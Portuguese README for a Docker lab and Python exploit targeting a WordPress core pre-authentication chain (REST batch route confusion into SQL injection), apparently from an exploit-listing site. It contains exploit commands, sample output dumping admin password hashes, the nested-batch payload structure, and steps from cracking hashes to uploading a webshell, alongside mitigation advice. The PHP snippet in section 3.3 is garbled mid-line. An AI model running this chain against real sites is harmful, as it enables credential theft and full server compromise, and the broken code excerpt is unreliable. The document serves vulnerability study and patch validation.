## https://sploitus.com/exploit?id=365F3BD1-B4A2-55D0-B803-7A88A3839E09
# Lab — CVE-2026-63030 (“wp2shell”) + CVE-2026-60137
Ambiente Docker **intencionalmente vulnerável** com WordPress Core **7.0.1** e um
exploit em Python que demonstra a cadeia *pré-autenticação* **wp2shell**:
| CVE | Componente | O que é |
|-----|------------|---------|
| **CVE-2026-63030** | REST API `/wp-json/batch/v1` | *Route confusion*: dessincronização entre validação e dispatch de sub-requests |
| **CVE-2026-60137** | `WP_Query` (`author__not_in`) | SQL injection quando o valor é uma **string** em vez de array |
Encadeadas, permitem que um atacante **sem nenhuma credencial** execute SQL arbitrário
(e, na sequência completa, chegue a RCE). Corrigido no WordPress **6.9.5** e **7.0.2**.
Versões afetadas pela cadeia RCE: **6.9.0–6.9.4** e **7.0.0–7.0.1**.
> ⚠️ **Aviso**: ambiente propositalmente inseguro. Use **apenas localmente**, isolado.
> Nunca exponha na internet. O exploit deve ser usado somente contra este lab (ou
> sistemas para os quais você tenha autorização explícita).
---
## 1. Subir o ambiente
```bash
docker compose up -d db wordpress # sobe MySQL + WordPress 7.0.1
docker compose run --rm wpcli # instala o WP e cria conteúdo/usuários
```
Isso cria:
- Site em **http://localhost:8080**
- `admin` / `SuperSecret123!`
- `victim` / `Victim_P@ss_2026` (segundo admin, alvo da extração de hash)
- 1 post publicado (necessário para o `get_items()` retornar linhas)
Confirme a versão vulnerável:
```bash
curl -s "http://localhost:8080/index.php?rest_route=/" | grep -o '"version":"[^"]*"'
# ... ou:
docker exec wp2shell-cli wp core version # 7.0.1
```
## 2. Rodar o exploit
```bash
python3 exploit.py --url http://localhost:8080
```
Saída (resumida):
```
[+] Route confusion OK: GET /wp/v2/users executou sob posts get_items()
[+] SQL injection cega confirmada (oráculo booleano 1=1 vs 1=2)
[*] Fingerprint do banco de dados:
versão MySQL = 8.0.46
usuário atual = wordpress@%
database = wordpress
[+] Credenciais extraídas (pré-autenticação, sem login):
ID=1 login=admin
hash=$wp$2y$10$tjd0.l/QQOhp9eQpwrufMuYVrjv4kVoJMfmA3f2ZZew51rND7o94q
ID=2 login=victim
hash=$wp$2y$10$3Nv1oxyfIe/yKqNd/AUZSOZqQYWiJHfNAKBPdbjMhqTtVBDbuBO0e
```
Outras opções:
```bash
python3 exploit.py --url http://localhost:8080 --sql "SELECT @@version" # SQL arbitrário
python3 exploit.py --url http://localhost:8080 --mode time # blind time-based
python3 exploit.py --url http://localhost:8080 -v # mostra cada query
```
O exploit usa apenas a biblioteca padrão do Python 3 (sem dependências).
### Validar que os dados vazados são reais
```bash
docker exec wp2shell-db mysql -uroot -prootpass -N \
-e "SELECT ID,user_login,user_pass FROM wordpress.wp_users;"
```
Os hashes devem ser **idênticos** aos extraídos pelo exploit (que nunca teve acesso ao banco).
---
## 3. Como a cadeia funciona (mecânica real, verificada no código)
### 3.1 O bug de dessincronização (`serve_batch_request_v1`)
Em `wp-includes/rest-api/class-wp-rest-server.php`, o handler do batch usa **dois arrays
paralelos**: `$matches` (rota/handler casados) e `$validation` (resultado da validação):
```php
foreach ( $requests as $single_request ) {
if ( is_wp_error( $single_request ) ) { // ex.: path "///" -> wp_parse_url()==false
$has_error = true;
$validation[] = $single_request; // desync!
}
$match = $this->match_request_to_handler( $single_request );
$matches[] = $match;
...
$validation[] = $error ? $error : true;
}
```
No dispatch, o handler é lido por índice em `$matches[$i]`, enquanto `$single_request`
e `$validation[$i]` seguem o índice completo de `$requests`. Um **primer** que falha o
parse (`"///"`) empurra tudo em `$matches` uma posição — então uma sub-request é
**executada sob o handler de outra**.
### 3.2 O smuggling de sub-requests GET (batch aninhado)
O schema do batch só aceita métodos `POST/PUT/PATCH/DELETE` (GET é rejeitado com
`rest_not_in_enum`). O exploit contorna isso com **batch dentro de batch**:
```
BATCH EXTERNO (métodos válidos):
[ primer("///"),
carrier = POST /wp/v2/posts (body = BATCH INTERNO),
POST /batch/v1 ]
```
- O `carrier` é **validado** como `create_item` de posts (passa: `allow_batch=true`, sem
params obrigatórios). Como *não* é validado como batch, seu `body` **escapa da validação
do enum de método**.
- O desync externo faz o `carrier` ser **despachado sob o handler `/batch/v1`** (roubado da
3ª sub-request) → `serve_batch_request_v1` processa o body cru, com sub-requests **GET**.
### 3.3 Chegando ao sink SQL
```
BATCH INTERNO:
[ primer("///"),
GET /wp/v2/users?author_exclude=, valor cru
GET /wp/v2/posts ]
```
Novo desync interno → a request `GET /wp/v2/users` (carregando `author_exclude` **não
sanitizado**) é executada sob **`posts get_items()`**. Lá:
```php
// class-wp-rest-posts-controller.php
'author_exclude' => 'author__not_in', // mapeamento
```
E em `WP_Query` (`class-wp-query.php`), o código vulnerável:
```php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) { // posts}.post_author NOT IN ($author__not_in) "; // )-- -`, transformando o `WHERE` em oráculo
(lista com posts = verdadeiro; lista vazia = falso). Extração char-a-char por busca binária.
> Nota: o caminho é alcançável quando **não há object cache persistente** (o padrão do lab),
> como descrito no advisory.
---
## 4. Sequência completa até RCE (wp2shell)
Este lab valida a parte **pré-autenticação** (route confusion → SQLi → vazamento de hashes),
que é o coração da cadeia. A sequência completa do advisory continua com:
1. Quebrar o hash `$wp$2y$...` (bcrypt) offline — `hashcat -m 3200`.
2. Logar em `/wp-admin` com a senha recuperada.
3. Subir um plugin PHP malicioso (ou editar tema) → **webshell / RCE**.
## 5. Mitigação
- Atualizar o WordPress Core para **6.9.5 / 7.0.2** (ou superior). O patch:
- força `author__not_in` a inteiros (`wp_parse_id_list`) mesmo quando é string;
- garante que erros de batch ocupem posição em **ambos** os arrays (fim do desync).
- Mitigações compensatórias: WAF filtrando `/wp-json/batch/v1`, desabilitar a REST API
não autenticada, monitorar requests com `author_exclude` contendo SQL.
## 6. Limpeza
```bash
docker compose down -v # remove containers + volumes (dados)
```
---
## Referências
- Rapid7 — [ETR: CVE-2026-63030 wp2shell](https://www.rapid7.com/blog/post/etr-cve-2026-63030-wp2shell-a-critical-remote-code-execution-vulnerability-in-wordpress-core/)
- The Hacker News — [New wp2shell WordPress Core Flaw](https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html)
- ZSec — [wp2shell Code Trace Deep Dive](https://blog.zsec.uk/wp2shell-code-trace-deep-dive/)
- Mallory.ai — [CVE-2026-63030 REST API Batch Route Confusion](https://mallory.ai/vulnerabilities/CVE-2026-63030)
- Penligent — [wp2shell: Patch Priority & Safe Validation](https://www.penligent.ai/hackinglabs/cve-2026-63030-wp2shell/)